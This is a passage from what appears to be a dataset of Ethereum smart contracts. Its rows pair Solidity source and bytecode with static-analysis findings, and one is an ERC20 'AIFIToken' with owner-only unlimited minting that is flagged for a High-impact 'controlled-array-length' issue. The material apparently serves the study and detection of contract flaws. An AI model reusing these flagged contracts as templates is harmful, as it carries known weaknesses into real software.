15291820186905281830181905291517f78962c711b5655608c554689ba42e4890d9e5d3f590b99842612ad39cd7ae0ae9181900360600190a1505050600091825260016020908152604080842054845260038252808420928452919052812055565b80600660006123be8661260b565b815260208082019290925260409081016000908120868252835281902092909255815185815290810184905280820183905290517f961abb018d8a303304c9f1ff1f306c7493a8b68b381bbe4e9a3abf9588a952809181900360600190a1505050565b806002600061242f8661260b565b815260208082019290925260409081016000908120868252835281902092909255815185815290810184905280820183905290517f60738523f766167cfd2310c61593dc795bc9d77de9276ed7e0c514df55e0a2c99181900360600190a1505050565b80600460006124a08661260b565b815260208082019290925260409081016000908120868252835281902080546001600160a01b0319166001600160a01b0394851617905580518681529182018590529183168183015290517f524fb430ecbfd4606a947f9ae445dbf7c9703944cf928789b86f3a8aad639365916060908290030190a1505050565b80600560006125298661260b565b8152602080820192909252604090810160009081208682528352819020805460ff19169315159390931790925581518581529081018490528215158183015290517f9c94ad4cfff55907724cb65340f342d3897dd884e6cd3c2d3777087191d5eb7b916060908290030190a1505050565b80600360006125a88661260b565b815260208082019290925260409081016000908120868252835281902092909255815185815290810184905280820183905290517f0d8877f604dfe262a8ac3904781814f022156c9341af779608a2ae0beef1906c9181900360600190a1505050565b6000818152600160205260408120548061266d5750604080513360601b60208083019190915260348201859052436054808401919091528351808403909101815260749092018352815191810191909120600085815260019092529190208190555b9291505056fe43616e6e6f742066696e6420636f6e747261637420696e2041646472657373205265736f6c76657243616e206f6e6c7920626520696e766f6b65642062792074686520636f6e6669677572656420636f6e7472616374496e707574206c656e67746873206d757374206d617463680000000000000000a265627a7a72315820a6e34e21d97c353ac1afc9bdbbfdfae39a6b40c3cf1b83140cdb036dc2c0674e64736f6c63430005100032 | {"success": true, "error": null, "results": {}} | 9,880 |
0x0ccf3426755c88f85445e325f6f0f413e3375b49 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//-------------------------------------------------------------------------------------------------
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//-------------------------------------------------------------------------------------------------
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
//-------------------------------------------------------------------------------------------------
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
//-------------------------------------------------------------------------------------------------
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//-------------------------------------------------------------------------------------------------
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
//-------------------------------------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
//-------------------------------------------------------------------------------------------------
contract AifiAsset is Ownable {
using SafeMath for uint256;
enum AssetState { Pending, Active, Expired }
string public assetType;
uint256 public totalSupply;
AssetState public state;
constructor() public {
state = AssetState.Pending;
}
function setState(AssetState _state) public onlyOwner {
state = _state;
emit SetStateEvent(_state);
}
event SetStateEvent(AssetState indexed state);
}
//-------------------------------------------------------------------------------------------------
contract AifiToken is StandardToken, Ownable, BurnableToken {
using SafeMath for uint256;
string public name = "AIFIToken";
string public symbol = "AIFI";
uint8 public decimals = 18;
uint public initialSupply = 0;
AifiAsset[] public aifiAssets;
constructor() public {
totalSupply_ = initialSupply;
balances[owner] = initialSupply;
}
function _ownerSupply() internal view returns (uint256) {
return balances[owner];
}
function _mint(uint256 _amount) internal onlyOwner {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
}
function addAsset(AifiAsset _asset) public onlyOwner {
require(_asset.state() == AifiAsset.AssetState.Pending);
aifiAssets.push(_asset);
_mint(_asset.totalSupply());
emit AddAifiAssetEvent(_asset);
}
function mint(uint256 _amount) public onlyOwner {
_mint(_amount);
emit MintEvent(_amount);
}
function mintInterest(uint256 _amount) public onlyOwner {
_mint(_amount);
emit MintInterestEvent(_amount);
}
function payInterest(address _to, uint256 _amount) public onlyOwner {
require(_ownerSupply() >= _amount);
balances[owner] = balances[owner].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit PayInterestEvent(_to, _amount);
}
function burn(uint256 _value) public onlyOwner {
super.burn(_value);
}
function setAssetToExpire(uint _index) public onlyOwner {
AifiAsset asset = aifiAssets[_index];
require(asset.state() == AifiAsset.AssetState.Active);
super.burn(asset.totalSupply());
emit SetAssetToExpireEvent(_index, asset);
}
// Event
event AddAifiAssetEvent(AifiAsset indexed assetAddress);
event MintEvent(uint256 indexed amount);
event MintInterestEvent(uint256 indexed amount);
event PayInterestEvent(address indexed to, uint256 indexed amount);
event SetAssetToExpireEvent(uint indexed index, AifiAsset indexed asset);
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd146102225780631b7623be1461024d57806323b872dd1461029a578063298410e51461031f578063313ce56714610362578063378dc3dc1461039357806342966c68146103be57806366188463146103eb57806370a0823114610450578063715018a6146104a757806384f32395146104be5780638da5cb5b146104eb57806395d89b4114610542578063a0712d68146105d2578063a9059cbb146105ff578063b1cc7c6014610664578063bce918ed14610691578063d73dd623146106fe578063dd62ed3e14610763578063f2fde38b146107da575b600080fd5b34801561013957600080fd5b5061014261081d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bb565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b506102376109ad565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b50610298600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b7565b005b3480156102a657600080fd5b50610305600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bdb565b604051808215151515815260200191505060405180910390f35b34801561032b57600080fd5b50610360600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f95565b005b34801561036e57600080fd5b50610377611207565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039f57600080fd5b506103a861121a565b6040518082815260200191505060405180910390f35b3480156103ca57600080fd5b506103e960048036038101908080359060200190929190505050611220565b005b3480156103f757600080fd5b50610436600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611288565b604051808215151515815260200191505060405180910390f35b34801561045c57600080fd5b50610491600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611519565b6040518082815260200191505060405180910390f35b3480156104b357600080fd5b506104bc611561565b005b3480156104ca57600080fd5b506104e960048036038101908080359060200190929190505050611666565b005b3480156104f757600080fd5b506105006118b2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054e57600080fd5b506105576118d8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059757808201518184015260208101905061057c565b50505050905090810190601f1680156105c45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105de57600080fd5b506105fd60048036038101908080359060200190929190505050611976565b005b34801561060b57600080fd5b5061064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a0b565b604051808215151515815260200191505060405180910390f35b34801561067057600080fd5b5061068f60048036038101908080359060200190929190505050611c2a565b005b34801561069d57600080fd5b506106bc60048036038101908080359060200190929190505050611cbf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070a57600080fd5b50610749600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611cfd565b604051808215151515815260200191505060405180910390f35b34801561076f57600080fd5b506107c4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ef9565b6040518082815260200191505060405180910390f35b3480156107e657600080fd5b5061081b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f80565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b35780601f10610888576101008083540402835291602001916108b3565b820191906000526020600020905b81548152906001019060200180831161089657829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1357600080fd5b80610a1c6120d8565b10151515610a2957600080fd5b610a9c81600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214090919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b51816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808273ffffffffffffffffffffffffffffffffffffffff167f3bc4d18534a83580852e5382d0b079deb21a3aa64ea57c02a64ddb79b4cb414960405160405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610c1857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c6557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610cf057600080fd5b610d41826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214090919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610dd4826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ea582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214090919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff157600080fd5b60006002811115610ffe57fe5b8173ffffffffffffffffffffffffffffffffffffffff1663c19d93fb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d602081101561108c57600080fd5b810190808051906020019092919050505060028111156110a857fe5b1415156110b457600080fd5b60088190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506111c18173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561118157600080fd5b505af1158015611195573d6000803e3d6000fd5b505050506040513d60208110156111ab57600080fd5b8101908080519060200190929190505050612175565b8073ffffffffffffffffffffffffffffffffffffffff167f156b2d3a7ca8a87d08029f747c6ddc2d517824cecc2e9fe2ad2a8cd449025bdc60405160405180910390a250565b600660009054906101000a900460ff1681565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561127c57600080fd5b611285816122c6565b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611399576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142d565b6113ac838261214090919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115bd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c457600080fd5b6008828154811015156116d357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506001600281111561170d57fe5b8173ffffffffffffffffffffffffffffffffffffffff1663c19d93fb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561177157600080fd5b505af1158015611785573d6000803e3d6000fd5b505050506040513d602081101561179b57600080fd5b810190808051906020019092919050505060028111156117b757fe5b1415156117c357600080fd5b61186a8173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561182a57600080fd5b505af115801561183e573d6000803e3d6000fd5b505050506040513d602081101561185457600080fd5b81019080805190602001909291905050506122c6565b8073ffffffffffffffffffffffffffffffffffffffff16827fa34e0a380f994f11dc98ae7df551ca3d7c0b1adafe49e3df903ba2ecf283305360405160405180910390a35050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561196e5780601f106119435761010080835404028352916020019161196e565b820191906000526020600020905b81548152906001019060200180831161195157829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119d257600080fd5b6119db81612175565b807f94242c431036b9ba6723a138d4b275a5b38e13a95ef66227a45df427c0f843f360405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a4857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a9557600080fd5b611ae6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b79826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c8657600080fd5b611c8f81612175565b807f3ed06a5ac152ea4b9c37f9cbb03a86a524d72648c0a0fdcba6231e6c21ab249960405160405180910390a250565b600881815481101515611cce57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611d8e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fdc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561201857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b600082821115151561214e57fe5b818303905092915050565b6000818301905082811015151561216c57fe5b80905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121d157600080fd5b6121e68160015461215990919063ffffffff16565b60018190555061225f81600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215990919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6122d033826122d3565b50565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561232057600080fd5b612371816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461214090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c88160015461214090919063ffffffff16565b6001819055508173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505600a165627a7a723058208bf43b424cffc8a1df4a2c47ff12b7b9c33af4d8391e2f9f2bda97d1d871b2ef0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,881 |
0x6c0a11e254b666b107abe5ecf5003b53bf362eb0 | pragma solidity ^0.4.19;
contract BdpBaseData {
address public ownerAddress;
address public managerAddress;
address[16] public contracts;
bool public paused = false;
bool public setupComplete = false;
bytes8 public version;
}
library BdpContracts {
function getBdpEntryPoint(address[16] _contracts) pure internal returns (address) {
return _contracts[0];
}
function getBdpController(address[16] _contracts) pure internal returns (address) {
return _contracts[1];
}
function getBdpControllerHelper(address[16] _contracts) pure internal returns (address) {
return _contracts[3];
}
function getBdpDataStorage(address[16] _contracts) pure internal returns (address) {
return _contracts[4];
}
function getBdpImageStorage(address[16] _contracts) pure internal returns (address) {
return _contracts[5];
}
function getBdpOwnershipStorage(address[16] _contracts) pure internal returns (address) {
return _contracts[6];
}
function getBdpPriceStorage(address[16] _contracts) pure internal returns (address) {
return _contracts[7];
}
}
contract BdpBase is BdpBaseData {
modifier onlyOwner() {
require(msg.sender == ownerAddress);
_;
}
modifier onlyAuthorized() {
require(msg.sender == ownerAddress || msg.sender == managerAddress);
_;
}
modifier whenContractActive() {
require(!paused && setupComplete);
_;
}
modifier storageAccessControl() {
require(
(! setupComplete && (msg.sender == ownerAddress || msg.sender == managerAddress))
|| (setupComplete && !paused && (msg.sender == BdpContracts.getBdpEntryPoint(contracts)))
);
_;
}
function setOwner(address _newOwner) external onlyOwner {
require(_newOwner != address(0));
ownerAddress = _newOwner;
}
function setManager(address _newManager) external onlyOwner {
require(_newManager != address(0));
managerAddress = _newManager;
}
function setContracts(address[16] _contracts) external onlyOwner {
contracts = _contracts;
}
function pause() external onlyAuthorized {
paused = true;
}
function unpause() external onlyOwner {
paused = false;
